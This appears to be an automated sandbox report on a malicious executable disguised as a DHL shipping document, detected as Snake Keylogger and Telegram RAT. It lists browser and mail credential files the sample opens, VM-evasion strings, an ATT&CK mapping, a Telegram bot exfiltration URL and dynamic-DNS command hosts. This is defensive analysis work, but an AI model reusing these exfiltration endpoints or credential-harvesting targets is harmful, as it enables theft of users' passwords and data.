Source: C:\Users\user\Desktop\DHL AWB Document_pdf.exe	Thread delayed: delay time: 599219	Jump to behavior
Source: C:\Users\user\Desktop\DHL AWB Document_pdf.exe	Thread delayed: delay time: 599103	Jump to behavior
Source: C:\Users\user\Desktop\DHL AWB Document_pdf.exe	Thread delayed: delay time: 599000	Jump to behavior
Source: C:\Users\user\Desktop\DHL AWB Document_pdf.exe	Thread delayed: delay time: 598890	Jump to behavior
Source: C:\Users\user\Desktop\DHL AWB Document_pdf.exe	Thread delayed: delay time: 598781	Jump to behavior
Source: C:\Users\user\Desktop\DHL AWB Document_pdf.exe	Thread delayed: delay time: 598672	Jump to behavior
Source: C:\Users\user\Desktop\DHL AWB Document_pdf.exe	Thread delayed: delay time: 598562	Jump to behavior
Source: C:\Users\user\Desktop\DHL AWB Document_pdf.exe	Thread delayed: delay time: 598453	Jump to behavior
Source: C:\Users\user\Desktop\DHL AWB Document_pdf.exe	Thread delayed: delay time: 598344	Jump to behavior
Source: C:\Users\user\Desktop\DHL AWB Document_pdf.exe	Thread delayed: delay time: 598219	Jump to behavior
Source: C:\Users\user\Desktop\DHL AWB Document_pdf.exe	Thread delayed: delay time: 598096	Jump to behavior
Source: C:\Users\user\Desktop\DHL AWB Document_pdf.exe	Thread delayed: delay time: 597984	Jump to behavior
Source: C:\Users\user\Desktop\DHL AWB Document_pdf.exe	Thread delayed: delay time: 597875	Jump to behavior
Source: C:\Users\user\Desktop\DHL AWB Document_pdf.exe	Thread delayed: delay time: 597766	Jump to behavior
Source: C:\Users\user\Desktop\DHL AWB Document_pdf.exe	Thread delayed: delay time: 597641	Jump to behavior
Source: C:\Users\user\Desktop\DHL AWB Document_pdf.exe	Thread delayed: delay time: 597516	Jump to behavior
Source: C:\Users\user\Desktop\DHL AWB Document_pdf.exe	Thread delayed: delay time: 597406	Jump to behavior
Source: C:\Users\user\Desktop\DHL AWB Document_pdf.exe	Thread delayed: delay time: 597296	Jump to behavior
Source: C:\Users\user\Desktop\DHL AWB Document_pdf.exe	Thread delayed: delay time: 597187	Jump to behavior
Source: C:\Users\user\Desktop\DHL AWB Document_pdf.exe	Thread delayed: delay time: 597063	Jump to behavior
Source: C:\Users\user\Desktop\DHL AWB Document_pdf.exe	Thread delayed: delay time: 596937	Jump to behavior
Source: C:\Users\user\Desktop\DHL AWB Document_pdf.exe	Thread delayed: delay time: 596826	Jump to behavior
Source: C:\Users\user\Desktop\DHL AWB Document_pdf.exe	Thread delayed: delay time: 596698	Jump to behavior
Source: C:\Users\user\Desktop\DHL AWB Document_pdf.exe	Thread delayed: delay time: 596591	Jump to behavior
Source: C:\Users\user\Desktop\DHL AWB Document_pdf.exe	Thread delayed: delay time: 596475	Jump to behavior
Source: C:\Users\user\Desktop\DHL AWB Document_pdf.exe	Thread delayed: delay time: 596341	Jump to behavior
Source: C:\Users\user\Desktop\DHL AWB Document_pdf.exe	Thread delayed: delay time: 596227	Jump to behavior
Source: C:\Users\user\Desktop\DHL AWB Document_pdf.exe	Thread delayed: delay time: 596124	Jump to behavior
Source: C:\Users\user\Desktop\DHL AWB Document_pdf.exe	Thread delayed: delay time: 595780	Jump to behavior
Source: C:\Users\user\Desktop\DHL AWB Document_pdf.exe	Thread delayed: delay time: 595581	Jump to behavior
Source: C:\Users\user\Desktop\DHL AWB Document_pdf.exe	Thread delayed: delay time: 595468	Jump to behavior
Source: C:\Users\user\Desktop\DHL AWB Document_pdf.exe	Thread delayed: delay time: 595358	Jump to behavior
Source: C:\Users\user\Desktop\DHL AWB Document_pdf.exe	Thread delayed: delay time: 595250	Jump to behavior
Source: C:\Users\user\Desktop\DHL AWB Document_pdf.exe	Thread delayed: delay time: 595140	Jump to behavior
Source: C:\Users\user\Desktop\DHL AWB Document_pdf.exe	Thread delayed: delay time: 595031	Jump to behavior
Source: C:\Users\user\Desktop\DHL AWB Document_pdf.exe	Thread delayed: delay time: 594922	Jump to behavior
Source: C:\Users\user\Desktop\DHL AWB Document_pdf.exe	Thread delayed: delay time: 594812	Jump to behavior
Source: C:\Users\user\Desktop\DHL AWB Document_pdf.exe	Thread delayed: delay time: 594703	Jump to behavior
Source: C:\Users\user\Desktop\DHL AWB Document_pdf.exe	Thread delayed: delay time: 594593	Jump to behavior
Source: C:\Users\user\Desktop\DHL AWB Document_pdf.exe	Thread delayed: delay time: 594484	Jump to behavior
Source: C:\Users\user\Desktop\DHL AWB Document_pdf.exe	Thread delayed: delay time: 594375	Jump to behavior
Source: C:\Users\user\Desktop\DHL AWB Document_pdf.exe	Thread delayed: delay time: 594266	Jump to behavior
Source: C:\Users\user\Desktop\DHL AWB Document_pdf.exe	Thread delayed: delay time: 594156	Jump to behavior
Source: C:\Users\user\Desktop\DHL AWB Document_pdf.exe	Thread delayed: delay time: 594047	Jump to behavior

Source: DHL AWB Document_pdf.exe, 0000000A.00000002.2543546223.0000000034A88000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - GDCDYNVMware20,11696492231p
Source: DHL AWB Document_pdf.exe, 0000000A.00000002.2543546223.0000000034A88000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - EU WestVMware20,11696492231n
Source: DHL AWB Document_pdf.exe, 0000000A.00000002.2543546223.0000000034A88000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Transaction PasswordVMware20,11696492231}
Source: DHL AWB Document_pdf.exe, 0000000A.00000002.2543546223.0000000034A88000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: interactivebrokers.co.inVMware20,11696492231d
Source: DHL AWB Document_pdf.exe, 0000000A.00000002.2543546223.0000000034A88000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: netportal.hdfcbank.comVMware20,11696492231
Source: DHL AWB Document_pdf.exe, 0000000A.00000002.2543546223.0000000034A88000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: outlook.office.comVMware20,11696492231s
Source: DHL AWB Document_pdf.exe, 0000000A.00000002.2543546223.0000000034A88000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - non-EU EuropeVMware20,11696492231
Source: DHL AWB Document_pdf.exe, 0000000A.00000002.2543546223.0000000034A88000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: AMC password management pageVMware20,11696492231
Source: DHL AWB Document_pdf.exe, 0000000A.00000002.2543546223.0000000034A88000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: interactivebrokers.comVMware20,11696492231
Source: DHL AWB Document_pdf.exe, 0000000A.00000002.2543546223.0000000034A88000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: microsoft.visualstudio.comVMware20,11696492231x
Source: DHL AWB Document_pdf.exe, 0000000A.00000002.2521510426.0000000003252000.00000004.00000020.00020000.00000000.sdmp, DHL AWB Document_pdf.exe, 0000000A.00000002.2521510426.00000000031F8000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: DHL AWB Document_pdf.exe, 0000000A.00000002.2521510426.0000000003252000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWg
Source: DHL AWB Document_pdf.exe, 0000000A.00000002.2543546223.0000000034A88000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - COM.HKVMware20,11696492231
Source: DHL AWB Document_pdf.exe, 0000000A.00000002.2543546223.0000000034A88000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Change Transaction PasswordVMware20,11696492231^
Source: DHL AWB Document_pdf.exe, 0000000A.00000002.2543546223.0000000034A88000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Test URL for global passwords blocklistVMware20,11696492231
Source: DHL AWB Document_pdf.exe, 0000000A.00000002.2543546223.0000000034A88000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: outlook.office365.comVMware20,11696492231t
Source: DHL AWB Document_pdf.exe, 0000000A.00000002.2543546223.0000000034A88000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - NDCDYNVMware20,11696492231z
Source: DHL AWB Document_pdf.exe, 0000000A.00000002.2543546223.0000000034A88000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: discord.comVMware20,11696492231f
Source: DHL AWB Document_pdf.exe, 0000000A.00000002.2543546223.0000000034A88000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: global block list test formVMware20,11696492231
Source: DHL AWB Document_pdf.exe, 0000000A.00000002.2543546223.0000000034A88000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: dev.azure.comVMware20,11696492231j
Source: DHL AWB Document_pdf.exe, 0000000A.00000002.2543546223.0000000034A88000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: www.interactivebrokers.comVMware20,11696492231}
Source: DHL AWB Document_pdf.exe, 0000000A.00000002.2543546223.0000000034A88000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: www.interactivebrokers.co.inVMware20,11696492231~
Source: DHL AWB Document_pdf.exe, 0000000A.00000002.2543546223.0000000034A88000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: bankofamerica.comVMware20,11696492231x
Source: DHL AWB Document_pdf.exe, 0000000A.00000002.2543546223.0000000034A88000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: trackpan.utiitsl.comVMware20,11696492231h
Source: DHL AWB Document_pdf.exe, 0000000A.00000002.2543546223.0000000034A88000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: tasks.office.comVMware20,11696492231o
Source: DHL AWB Document_pdf.exe, 0000000A.00000002.2543546223.0000000034A88000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: account.microsoft.com/profileVMware20,11696492231u
Source: DHL AWB Document_pdf.exe, 0000000A.00000002.2543546223.0000000034A88000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Change Transaction PasswordVMware20,11696492231
Source: DHL AWB Document_pdf.exe, 0000000A.00000002.2543546223.0000000034A88000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - EU East & CentralVMware20,11696492231
Source: DHL AWB Document_pdf.exe, 0000000A.00000002.2543546223.0000000034A88000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: ms.portal.azure.comVMware20,11696492231
Source: DHL AWB Document_pdf.exe, 0000000A.00000002.2543546223.0000000034A88000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: turbotax.intuit.comVMware20,11696492231t
Source: DHL AWB Document_pdf.exe, 0000000A.00000002.2543546223.0000000034A88000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: secure.bankofamerica.comVMware20,11696492231\|UE
Source: DHL AWB Document_pdf.exe, 0000000A.00000002.2543546223.0000000034A88000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Transaction PasswordVMware20,11696492231x
Source: DHL AWB Document_pdf.exe, 0000000A.00000002.2543546223.0000000034A88000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - HKVMware20,11696492231]

Source: C:\Users\user\Desktop\DHL AWB Document_pdf.exe	API call chain: ExitProcess graph end node			graph_2-4577
Source: C:\Users\user\Desktop\DHL AWB Document_pdf.exe	API call chain: ExitProcess graph end node			graph_2-4574

Source: C:\Users\user\Desktop\DHL AWB Document_pdf.exe

Code function: 2_2_10001A5D GlobalAlloc,lstrcpyA,lstrcpyA,GlobalFree,GlobalFree,GlobalFree,GlobalFree,GlobalFree,GlobalFree,lstrcpyA,GetModuleHandleA,LoadLibraryA,GetProcAddress,lstrlenA,

2_2_10001A5D

Source: C:\Users\user\Desktop\DHL AWB Document_pdf.exe

Process token adjusted: Debug

Jump to behavior

Source: C:\Users\user\Desktop\DHL AWB Document_pdf.exe

Memory allocated: page read and write | page guard

Jump to behavior

Source: C:\Users\user\Desktop\DHL AWB Document_pdf.exe

Process created: C:\Users\user\Desktop\DHL AWB Document_pdf.exe "C:\Users\user\Desktop\DHL AWB Document_pdf.exe"

Jump to behavior

Source: C:\Users\user\Desktop\DHL AWB Document_pdf.exe	Queries volume information: C:\Users\user\Desktop\DHL AWB Document_pdf.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\DHL AWB Document_pdf.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\DHL AWB Document_pdf.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.VisualBasic\v4.0_10.0.0.0__b03f5f7f11d50a3a\Microsoft.VisualBasic.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\DHL AWB Document_pdf.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Web.Extensions\v4.0_4.0.0.0__31bf3856ad364e35\System.Web.Extensions.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\DHL AWB Document_pdf.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Security\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Security.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\DHL AWB Document_pdf.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\DHL AWB Document_pdf.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Accessibility\v4.0_4.0.0.0__b03f5f7f11d50a3a\Accessibility.dll VolumeInformation	Jump to behavior

Source: C:\Users\user\Desktop\DHL AWB Document_pdf.exe

Code function: 2_2_00405D1B GetVersion,GetSystemDirectoryA,GetWindowsDirectoryA,SHGetSpecialFolderLocation,SHGetPathFromIDListA,CoTaskMemFree,lstrcatA,lstrlenA,

2_2_00405D1B

Source: C:\Users\user\Desktop\DHL AWB Document_pdf.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Stealing of Sensitive Information

Yara detected Snake Keylogger

Source: Yara match

File source: 0000000A.00000002.2541928199.00000000337D1000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY

Yara detected Telegram RAT

Source: Yara match

File source: Process Memory Space: DHL AWB Document_pdf.exe PID: 7596, type: MEMORYSTR

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Users\user\Desktop\DHL AWB Document_pdf.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Users\user\Desktop\DHL AWB Document_pdf.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data	Jump to behavior
Source: C:\Users\user\Desktop\DHL AWB Document_pdf.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\Desktop\DHL AWB Document_pdf.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Top Sites	Jump to behavior
Source: C:\Users\user\Desktop\DHL AWB Document_pdf.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\History	Jump to behavior
Source: C:\Users\user\Desktop\DHL AWB Document_pdf.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History	Jump to behavior
Source: C:\Users\user\Desktop\DHL AWB Document_pdf.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\Desktop\DHL AWB Document_pdf.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies	Jump to behavior

Tries to steal Mail credentials (via file / registry access)

Source: C:\Users\user\Desktop\DHL AWB Document_pdf.exe	File opened: C:\Users\user\AppData\Roaming\PostboxApp\Profiles\			Jump to behavior
Source: C:\Users\user\Desktop\DHL AWB Document_pdf.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676			Jump to behavior

Source: Yara match

File source: Process Memory Space: DHL AWB Document_pdf.exe PID: 7596, type: MEMORYSTR

Remote Access Functionality

Yara detected Snake Keylogger

Source: Yara match

File source: 0000000A.00000002.2541928199.00000000337D1000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY

Yara detected Telegram RAT

Source: Yara match

File source: Process Memory Space: DHL AWB Document_pdf.exe PID: 7596, type: MEMORYSTR

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	1 Native API	1 DLL Side-Loading	1 Access Token Manipulation	11 Masquerading	1 OS Credential Dumping	21 Security Software Discovery	Remote Services	1 Email Collection	1 Web Service	Exfiltration Over Other Network Medium	1 System Shutdown/Reboot
Credentials	Domains	Default Accounts	Scheduled Task/Job	Boot or Logon Initialization Scripts	11 Process Injection	1 Disable or Modify Tools	LSASS Memory	31 Virtualization/Sandbox Evasion	Remote Desktop Protocol	1 Archive Collected Data	21 Encrypted Channel	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	1 DLL Side-Loading	31 Virtualization/Sandbox Evasion	Security Account Manager	1 Application Window Discovery	SMB/Windows Admin Shares	1 Data from Local System	3 Ingress Tool Transfer	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	1 Access Token Manipulation	NTDS	1 System Network Configuration Discovery	Distributed Component Object Model	1 Clipboard Data	3 Non-Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	11 Process Injection	LSA Secrets	3 File and Directory Discovery	SSH	Keylogging	14 Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	1 Deobfuscate/Decode Files or Information	Cached Domain Credentials	215 System Information Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	3 Obfuscated Files or Information	DCSync	Remote System Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	1 DLL Side-Loading	Proc Filesystem	System Owner/User Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
DHL AWB Document_pdf.exe	38%	Virustotal		Browse
DHL AWB Document_pdf.exe	24%	ReversingLabs

Dropped Files

Source	Detection	Scanner	Label	Link
C:\Users\user\AppData\Local\Temp\nsn3651.tmp\System.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\nsn3651.tmp\System.dll	1%	Virustotal		Browse

Name	IP	Active	Malicious	Reputation
drive.google.com	142.250.181.238	true	false	high
drive.usercontent.google.com	142.250.186.129	true	false	high
reallyfreegeoip.org	104.21.32.1	true	false	high
api.telegram.org	149.154.167.220	true	false	high
checkip.dyndns.com	193.122.130.0	true	false	high
checkip.dyndns.org	unknown	unknown	false	high

Contacted URLs

Name	Malicious	Reputation
https://reallyfreegeoip.org/xml/8.46.123.189	false	high
https://api.telegram.org/bot/sendMessage?chat_id=&text=%20%0D%0A%0D%0APC%20Name:138727%0D%0ADate%20and%20Time:%2018/02/2025%20/%2019:40:01%0D%0ACountry%20Name:%20United%20States%0D%0A%5B%20138727%20Clicked%20on%20the%20File%20If%20you%20see%20nothing%20this's%20mean%20the%20system%20storage's%20empty.%20%5D	false	high
http://checkip.dyndns.org/	false	high

URLs from Memory and Binaries

Name	Source	Malicious	Reputation
https://www.office.com/	DHL AWB Document_pdf.exe, 0000000A.00000002.2541928199.000000003397B000.00000004.00000800.00020000.00000000.sdmp	false	high
https://duckduckgo.com/chrome_newtab	DHL AWB Document_pdf.exe, 0000000A.00000002.2543546223.0000000034AD9000.00000004.00000800.00020000.00000000.sdmp, DHL AWB Document_pdf.exe, 0000000A.00000002.2543546223.00000000347F1000.00000004.00000800.00020000.00000000.sdmp	false	high
https://duckduckgo.com/ac/?q=	DHL AWB Document_pdf.exe, 0000000A.00000002.2543546223.0000000034AD9000.00000004.00000800.00020000.00000000.sdmp, DHL AWB Document_pdf.exe, 0000000A.00000002.2543546223.00000000347F1000.00000004.00000800.00020000.00000000.sdmp	false	high
https://api.telegram.org	DHL AWB Document_pdf.exe, 0000000A.00000002.2541928199.00000000338B5000.00000004.00000800.00020000.00000000.sdmp	false	high
https://www.google.com/images/branding/product/ico/googleg_lodp.ico	DHL AWB Document_pdf.exe, 0000000A.00000002.2543546223.0000000034AD9000.00000004.00000800.00020000.00000000.sdmp, DHL AWB Document_pdf.exe, 0000000A.00000002.2543546223.00000000347F1000.00000004.00000800.00020000.00000000.sdmp	false	high
https://api.telegram.org/bot	DHL AWB Document_pdf.exe, 0000000A.00000002.2541928199.00000000338B5000.00000004.00000800.00020000.00000000.sdmp	false	high
https://www.office.com/lB	DHL AWB Document_pdf.exe, 0000000A.00000002.2541928199.0000000033976000.00000004.00000800.00020000.00000000.sdmp	false	high
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	DHL AWB Document_pdf.exe, 0000000A.00000002.2543546223.0000000034AD9000.00000004.00000800.00020000.00000000.sdmp, DHL AWB Document_pdf.exe, 0000000A.00000002.2543546223.00000000347F1000.00000004.00000800.00020000.00000000.sdmp	false	high
https://drive.usercontent.google.com/	DHL AWB Document_pdf.exe, 0000000A.00000003.1855069146.000000000326A000.00000004.00000020.00020000.00000000.sdmp, DHL AWB Document_pdf.exe, 0000000A.00000003.1829617121.000000000326A000.00000004.00000020.00020000.00000000.sdmp, DHL AWB Document_pdf.exe, 0000000A.00000002.2521510426.0000000003260000.00000004.00000020.00020000.00000000.sdmp	false	high
http://checkip.dyndns.org	DHL AWB Document_pdf.exe, 0000000A.00000002.2541928199.00000000337D1000.00000004.00000800.00020000.00000000.sdmp	false	high
https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=	DHL AWB Document_pdf.exe, 0000000A.00000002.2543546223.0000000034AD9000.00000004.00000800.00020000.00000000.sdmp, DHL AWB Document_pdf.exe, 0000000A.00000002.2543546223.00000000347F1000.00000004.00000800.00020000.00000000.sdmp	false	high
https://chrome.google.com/webstore?hl=en4	DHL AWB Document_pdf.exe, 0000000A.00000002.2541928199.0000000033949000.00000004.00000800.00020000.00000000.sdmp	false	high
http://nsis.sf.net/NSIS_ErrorError	DHL AWB Document_pdf.exe	false	high
https://api.telegram.org/bot/sendMessage?chat_id=&text=	DHL AWB Document_pdf.exe, 0000000A.00000002.2541928199.00000000338B5000.00000004.00000800.00020000.00000000.sdmp	false	high
https://chrome.google.com/webstore?hl=en	DHL AWB Document_pdf.exe, 0000000A.00000002.2541928199.0000000033949000.00000004.00000800.00020000.00000000.sdmp, DHL AWB Document_pdf.exe, 0000000A.00000002.2541928199.000000003397B000.00000004.00000800.00020000.00000000.sdmp	false	high
https://www.ecosia.org/newtab/	DHL AWB Document_pdf.exe, 0000000A.00000002.2543546223.0000000034AD9000.00000004.00000800.00020000.00000000.sdmp, DHL AWB Document_pdf.exe, 0000000A.00000002.2543546223.00000000347F1000.00000004.00000800.00020000.00000000.sdmp	false	high
http://varders.kozow.com:8081	DHL AWB Document_pdf.exe, 0000000A.00000002.2541928199.00000000337D1000.00000004.00000800.00020000.00000000.sdmp	false	high
http://aborters.duckdns.org:8081	DHL AWB Document_pdf.exe, 0000000A.00000002.2541928199.00000000337D1000.00000004.00000800.00020000.00000000.sdmp	false	high
https://ac.ecosia.org/autocomplete?q=	DHL AWB Document_pdf.exe, 0000000A.00000002.2543546223.0000000034AD9000.00000004.00000800.00020000.00000000.sdmp, DHL AWB Document_pdf.exe, 0000000A.00000002.2543546223.00000000347F1000.00000004.00000800.00020000.00000000.sdmp	false	high
https://www.google.com	DHL AWB Document_pdf.exe, 0000000A.00000003.1822955353.000000000326A000.00000004.00000020.00020000.00000000.sdmp	false	high
http://nsis.sf.net/NSIS_Error	DHL AWB Document_pdf.exe	false	high
https://www.office.com/4	DHL AWB Document_pdf.exe, 0000000A.00000002.2541928199.000000003397B000.00000004.00000800.00020000.00000000.sdmp	false	high
http://anotherarmy.dns.army:8081	DHL AWB Document_pdf.exe, 0000000A.00000002.2541928199.00000000337D1000.00000004.00000800.00020000.00000000.sdmp	false	high
https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search	DHL AWB Document_pdf.exe, 0000000A.00000002.2543546223.0000000034AD9000.00000004.00000800.00020000.00000000.sdmp, DHL AWB Document_pdf.exe, 0000000A.00000002.2543546223.00000000347F1000.00000004.00000800.00020000.00000000.sdmp	false	high
https://chrome.google.com/webstore?hl=enlB	DHL AWB Document_pdf.exe, 0000000A.00000002.2541928199.0000000033944000.00000004.00000800.00020000.00000000.sdmp	false	high
https://reallyfreegeoip.org/xml/8.46.123.189$	DHL AWB Document_pdf.exe, 0000000A.00000002.2541928199.000000003388D000.00000004.00000800.00020000.00000000.sdmp, DHL AWB Document_pdf.exe, 0000000A.00000002.2541928199.0000000033847000.00000004.00000800.00020000.00000000.sdmp, DHL AWB Document_pdf.exe, 0000000A.00000002.2541928199.00000000338B5000.00000004.00000800.00020000.00000000.sdmp	false	high
https://drive.google.com//	DHL AWB Document_pdf.exe, 0000000A.00000002.2521510426.00000000031F8000.00000004.00000020.00020000.00000000.sdmp	false	high
https://drive.google.com/o	DHL AWB Document_pdf.exe, 0000000A.00000002.2521510426.00000000031F8000.00000004.00000020.00020000.00000000.sdmp	false	high
https://reallyfreegeoip.org	DHL AWB Document_pdf.exe, 0000000A.00000002.2541928199.000000003381D000.00000004.00000800.00020000.00000000.sdmp, DHL AWB Document_pdf.exe, 0000000A.00000002.2541928199.000000003388D000.00000004.00000800.00020000.00000000.sdmp, DHL AWB Document_pdf.exe, 0000000A.00000002.2541928199.00000000338B5000.00000004.00000800.00020000.00000000.sdmp	false	high
https://api.telegram.org/bot/sendMessage?chat_id=&text=%20%0D%0A%0D%0APC%20Name:138727%0D%0ADate%20a	DHL AWB Document_pdf.exe, 0000000A.00000002.2541928199.00000000338B5000.00000004.00000800.00020000.00000000.sdmp	false	high
https://apis.google.com	DHL AWB Document_pdf.exe, 0000000A.00000003.1822955353.000000000326A000.00000004.00000020.00020000.00000000.sdmp	false	high
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	DHL AWB Document_pdf.exe, 0000000A.00000002.2541928199.00000000337D1000.00000004.00000800.00020000.00000000.sdmp	false	high
https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=	DHL AWB Document_pdf.exe, 0000000A.00000002.2543546223.0000000034AD9000.00000004.00000800.00020000.00000000.sdmp, DHL AWB Document_pdf.exe, 0000000A.00000002.2543546223.00000000347F1000.00000004.00000800.00020000.00000000.sdmp	false	high
https://reallyfreegeoip.org/xml/	DHL AWB Document_pdf.exe, 0000000A.00000002.2541928199.000000003381D000.00000004.00000800.00020000.00000000.sdmp	false	high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
142.250.181.238	drive.google.com	United States	15169	GOOGLEUS	false
142.250.186.129	drive.usercontent.google.com	United States	15169	GOOGLEUS	false
149.154.167.220	api.telegram.org	United Kingdom	62041	TELEGRAMRU	false
104.21.32.1	reallyfreegeoip.org	United States	13335	CLOUDFLARENETUS	false
193.122.130.0	checkip.dyndns.com	United States	31898	ORACLE-BMC-31898US	false

General Information

Joe Sandbox version:	42.0.0 Malachite
Analysis ID:	1617726
Start date and time:	2025-02-18 08:10:46 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 6m 57s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	15
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	DHL AWB Document_pdf.exe
Detection:	MAL
Classification:	mal100.troj.spyw.evad.winEXE@3/25@5/5
EGA Information:	Successful, ratio: 100%
HCA Information:	Successful, ratio: 96% Number of executed functions: 170 Number of non-executed functions: 139
Cookbook Comments:	Found application associated with file extension: .exe

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, dllhost.exe, sppsvc.exe, WMIADAP.exe, SIHClient.exe, SgrmBroker.exe, conhost.exe, svchost.exe
Excluded IPs from analysis (whitelisted): 13.107.246.61, 20.12.23.50
Excluded domains from analysis (whitelisted): otelrules.azureedge.net, slscr.update.microsoft.com, ctldl.windowsupdate.com, time.windows.com, fe3cr.delivery.mp.microsoft.com
Not all processes where analyzed, report is missing behavior information
Report size getting too big, too many NtOpenKeyEx calls found.
